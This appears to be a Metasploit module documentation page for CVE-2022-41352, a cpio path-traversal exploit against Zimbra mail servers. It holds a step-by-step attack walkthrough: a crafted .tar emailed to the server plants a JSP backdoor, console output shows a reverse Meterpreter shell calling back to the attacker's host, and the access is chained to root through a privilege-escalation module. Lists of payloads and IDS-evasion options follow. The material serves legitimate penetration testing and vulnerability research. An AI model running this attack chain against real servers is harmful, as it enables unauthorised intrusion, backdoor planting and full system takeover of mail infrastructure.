TAR Path Traversal in Zimbra (CVE-2022-41352) - Metasploit


This page contains detailed information about how to use the exploit/linux/http/zimbra_cpio_cve_2022_41352 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: TAR Path Traversal in Zimbra (CVE-2022-41352)
Module: exploit/linux/http/zimbra_cpio_cve_2022_41352
Source code: modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb
Disclosure date: 2022-06-28
Last modification time: 2022-10-19 10:02:29 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-1197, CVE-2022-41352

This module creates a .tar file that can be emailed to a Zimbra server to exploit CVE-2022-41352. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in the cpio command- line utlity that can extract an arbitrary file to an arbitrary location on a Linux system (CVE-2015-1197). Most Linux distros have chosen not to fix it. This issue is exploitable on Red Hat-based systems (and other hosts without pax installed) running versions: * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier) * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier) The patch simply makes "pax" a pre-requisite.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/linux/http/zimbra_cpio_cve_2022_41352
msf exploit(zimbra_cpio_cve_2022_41352) > show targets
    ... a list of targets ...
msf exploit(zimbra_cpio_cve_2022_41352) > set TARGET target-id
msf exploit(zimbra_cpio_cve_2022_41352) > show options
    ... show and set options ...
msf exploit(zimbra_cpio_cve_2022_41352) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • TARGET_PATH: The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).

Knowledge Base


Vulnerable Application


This module exploits a symlink-based path traversal vulnerability in cpio (that's identified as CVE-2015-1197) that's exploitable in Zimbra. The following versions of Zimbra are vulnerable:

  • Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
  • Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)

The patch for Zimbra adds pax as a pre-requisite, so any version of Zimbra (except Ubuntu 18.04, which has a patched cpio binary) can be made vulnerable with rm $(which pax).

To verify a host is vulnerable, ensure that pax is not installed on the host. Also, validate that cpio is listed in amavisd.conf as an option to extract .tar/.cpio files:

[ron@mail tmp]$ sudo cat /opt/zimbra/conf/amavisd.conf | grep cpio
[...]

  [['cpio','tar'], \&do_pax_cpio, ['pax', 'gcpio', 'cpio'] ],

Note that this can be chained with other Zimbra exploits to get root.

Installing Zimbra

Create a VM

HDD = 128gb
Memory/etc don't matter

I installed a local DNS server (note: replace <ip> with the host's actual ip) (other note: replace apt with yum to do this on a Red Hat-derived system):

sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org, mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf

Configure the host to use it:

sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf

Download Zimbra from https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll have to sell your soul and opt-in to spam, but they don't validate your email.

tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh

* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local `dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates

Verification Steps


  1. Do: use exploit/linux/http/zimbra_cpio_cve_2022_41352
  2. Do: set RHOSTS <target>
  3. Do: set LHOST <listenerip>
  4. Do: exploit

Options


FILENAME

The filename to generate - defaults to payload.tar, but can be changed on the filesystem or whatever.

TARGET_PATH

The absolute path where the payload will extract to. The default is the webroot, which is usually what you want

TARGET_FILENAME

The actual filename. It really should end with .jsp, otherwise it won't execute.

By default, it's a random string with .jsp on the end, in the public/ folder. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.

The path used for the symlink inside the archive; you probably won't ever want to change this (default: random)

TRIGGER_PAYLOAD

A boolean, default true, that determines whether we use HTTP requests to trigger the .jsp payload. Set to false to trigger the payload manually.

ListenerTimeout

The number of seconds to wait for a new session (default = 0, or infinite).

CheckInterval

The frequency with which to check for the payload on the server. Every CheckInterval, it performs an HTTP request to the payload path.

Scenarios


To exploit Zimbra, first load the module and generate the .tar file:

msf6 > use exploit/linux/http/zimbra_cpio_cve_2022_41352
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set LHOST 172.16.166.147
LHOST => 172.16.166.147
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set RHOSTS 172.16.166.158
RHOSTS => 172.16.166.158
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Encoding the payload as a .jsp file
[*] Adding symlink to path to .tar file: /opt/zimbra/jetty_base/webapps/zimbra/
[*] Adding target file to the archive: public/bdhg.jsp
[+] payload.tar stored at /home/ron/.msf4/local/payload.tar
[+] File created! Email the file above to any user on the target Zimbra server

[...] waiting [...]

Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:

[...]
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/bdhg.jsp every 5s [backgrounding]...

[file emailed]

[*] Sending stage (3045348 bytes) to 172.16.166.158
[*] Meterpreter session 1 opened (172.16.166.147:4444 -> 172.16.166.158:44808) at 2022-10-06 10:27:34 -0700

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: zimbra

For bonus points, use a different module to get root:

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_slapper_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp

msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 1
SESSION => 1

msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit

[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.vT1bDSvZV
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.vT1bDSvZV/.RhmWwHRn
[*] Sending stage (3045348 bytes) to 172.16.166.158
[+] Deleted /tmp/.vT1bDSvZV
[*] Meterpreter session 2 opened (172.16.166.147:4444 -> 172.16.166.158:60166) at 2022-10-06 10:45:30 -0700

meterpreter > getuid
Server username: root

Go back to menu.

Msfconsole Usage


Here is how the linux/http/zimbra_cpio_cve_2022_41352 exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/zimbra_cpio_cve_2022_41352

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > show info

       Name: TAR Path Traversal in Zimbra (CVE-2022-41352)
     Module: exploit/linux/http/zimbra_cpio_cve_2022_41352
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-28

Provided by:
  Alexander Cherepanov
  yeak
  Ron Bowes

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Zimbra Collaboration Suite

Check supported:
  No

Basic options:
  Name             Current Setting                         Required  Description
  ----             ---------------                         --------  -----------
  FILENAME         payload.tar                             no        The file name.
  Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT            443                                     yes       The target port (TCP)
  SSL              true                                    no        Negotiate SSL/TLS for outgoing connections
  TARGET_FILENAME                                          no        The filename to write in the target directory; should have a .jsp extension (default: public/<ra
                                                                     ndom>.jsp).
  TARGET_PATH      /opt/zimbra/jetty_base/webapps/zimbra/  yes       The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).
  VHOST                                                    no        HTTP server virtual host

Payload information:

Description:
  This module creates a .tar file that can be emailed to a Zimbra 
  server to exploit CVE-2022-41352. If successful, it plants a 
  JSP-based backdoor in the public web directory, then executes that 
  backdoor. The core vulnerability is a path-traversal issue in the 
  cpio command- line utlity that can extract an arbitrary file to an 
  arbitrary location on a Linux system (CVE-2015-1197). Most Linux 
  distros have chosen not to fix it. This issue is exploitable on Red 
  Hat-based systems (and other hosts without pax installed) running 
  versions: * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier) 
  * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier) The patch 
  simply makes "pax" a pre-requisite.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-41352
  https://forums.zimbra.org/viewtopic.php?t=71153&p=306532
  https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/
  https://www.openwall.com/lists/oss-security/2015/01/18/7
  https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html
  https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis
  https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis
  https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27
  https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34

Module Options


This is a complete list of options available in the linux/http/zimbra_cpio_cve_2022_41352 exploit:

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > show options

Module options (exploit/linux/http/zimbra_cpio_cve_2022_41352):

   Name             Current Setting                         Required  Description
   ----             ---------------                         --------  -----------
   FILENAME         payload.tar                             no        The file name.
   Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT            443                                     yes       The target port (TCP)
   SSL              true                                    no        Negotiate SSL/TLS for outgoing connections
   TARGET_FILENAME                                          no        The filename to write in the target directory; should have a .jsp extension (default: public/<r
                                                                      andom>.jsp).
   TARGET_PATH      /opt/zimbra/jetty_base/webapps/zimbra/  yes       The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).
   VHOST                                                    no        HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Zimbra Collaboration Suite

Advanced Options


Here is a complete list of advanced options supported by the linux/http/zimbra_cpio_cve_2022_41352 exploit:

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > show advanced

Module advanced options (exploit/linux/http/zimbra_cpio_cve_2022_41352):

   Name                     Current Setting                               Required  Description
   ----                     ---------------                               --------  -----------
   AllowNoCleanup           false                                         no        Allow exploitation without the possibility of cleaning up files
   CheckInterval            5                                             yes       The number of seconds to wait between each attempt to trigger the payload on the
                                                                                    server.
   ContextInformationFile                                                 no        The information file that contains context information
   DOMAIN                   WORKSTATION                                   yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                          no        Conform to IIS, should work for most servers. Only set to false for non-IIS serve
                                                                                    rs
   DisablePayloadHandler    false                                         no        Disable the handler code for the selected payload
   EXE::Custom                                                            no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR               false                                         no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack            false                                         no        Use the default template in case the specified one is missing
   EXE::Inject              false                                         no        Set to preserve the original EXE function
   EXE::OldMethod           false                                         no        Set to use the substitution EXE generation method.
   EXE::Path                                                              no        The directory in which to look for the executable template
   EXE::Template                                                          no        The executable template file name.
   EnableContextEncoding    false                                         no        Use transient context when encoding payloads
   FileDropperDelay                                                       no        Delay in seconds before attempting cleanup
   FingerprintCheck         true                                          no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                      no        HTTP connection and receive timeout
   HttpPassword                                                           no        The HTTP password to specify for authentication
   HttpRawHeaders                                                         no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                         no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                       no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                         no        Show HTTP headers only in HttpTrace
   HttpUsername                                                           no        The HTTP username to specify for authentication
   ListenerTimeout          0                                             no        The maximum number of seconds to wait for new sessions.
   MSI::Custom                                                            no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR               false                                         no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                              no        The directory in which to look for the msi template
   MSI::Template                                                          no        The msi template file name
   MSI::UAC                 false                                         no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLServerNameIndication                                                no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                          yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate
                                                                                    ) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SYMLINK_FILENAME                                                       no        The name of the symlink file to use (default: random)
   TRIGGER_PAYLOAD          true                                          no        If set, attempt to trigger the payload via an HTTP request.
   UserAgent                Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS  no        The User-Agent header to use for all requests
                             X) AppleWebKit/605.1.15 (KHTML, like Gecko)
                             Version/15.2 Mobile/15E148 Safari/604.1
   VERBOSE                  false                                         no        Enable detailed status messages
   WORKSPACE                                                              no        Specify the workspace for this module

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild        false            no        Use a debug version of Meterpreter
   MeterpreterDebugLogging                       no        The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meter
                                                           preter-Debugging-Meterpreter-Sessions
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOS
                                                           T
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/zimbra_cpio_cve_2022_41352 module can exploit:

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Zimbra Collaboration Suite

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/zimbra_cpio_cve_2022_41352 exploit:

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/ssh/interact                                       normal  No     Interact with Established SSH Connection
   5   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   6   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   8   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   9   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   10  payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   11  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   12  payload/linux/x64/pingback_bind_tcp                                normal  No     Linux x64 Pingback, Bind TCP Inline
   13  payload/linux/x64/pingback_reverse_tcp                             normal  No     Linux x64 Pingback, Reverse TCP Inline
   14  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   15  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   16  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   17  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   18  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   19  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   20  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   21  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   22  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   23  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   24  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   26  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   27  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   28  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   29  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   30  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   31  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   32  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   33  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   34  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   35  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   36  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   37  payload/linux/x86/read_file                                        normal  No     Linux Read File
   38  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   39  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   40  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   41  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   42  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   43  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   44  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   45  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   46  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   47  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   48  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   49  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   50  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   51  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/zimbra_cpio_cve_2022_41352 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-r
                                                            andom)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

TARGET_FILENAME does not end with .jsp, was that intentional?


Here is a relevant code snippet related to the "TARGET_FILENAME does not end with .jsp, was that intentional?" error message:

102:	    print_status('Encoding the payload as .jsp')
103:	    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
104:	
105:	    # Small sanity-check
106:	    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
107:	      print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
108:	    end
109:	
110:	    # Generate a filename if needed
111:	    target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp"
112:	    symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10)

Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)


Here is a relevant code snippet related to the "Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)" error message:

118:	        'method' => 'GET',
119:	        'uri' => normalize_uri(target_filename)
120:	      )
121:	
122:	      unless res
123:	        fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
124:	      end
125:	
126:	      # Break when the file successfully appears
127:	      unless res.code == 404
128:	        fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")

Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/<RES.CODE>


Here is a relevant code snippet related to the "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/<RES.CODE>" error message:

123:	        fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
124:	      end
125:	
126:	      # Break when the file successfully appears
127:	      unless res.code == 404
128:	        fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
129:	      end
130:	    end
131:	
132:	    # Create the file
133:	    begin

Failed to encode .tar file: <E>


Here is a relevant code snippet related to the "Failed to encode .tar file: <E>" error message:

144:	      end
145:	      contents.seek(0)
146:	      tar = contents.read
147:	      contents.close
148:	    rescue StandardError => e
149:	      fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}")
150:	    end
151:	    file_create(tar)
152:	
153:	    print_good('File created! Email the file above to any user on the target Zimbra server')
154:	

Could not connect to the server to trigger the payload


Here is a relevant code snippet related to the "Could not connect to the server to trigger the payload" error message:

171:	        'method' => 'GET',
172:	        'uri' => normalize_uri(target_filename)
173:	      )
174:	
175:	      unless res
176:	        fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
177:	      end
178:	
179:	      # Break when the file successfully appears
180:	      if res.code == 200
181:	        print_good('Successfully triggered the payload')

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Alexander Cherepanov
  • yeak
  • Ron Bowes

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.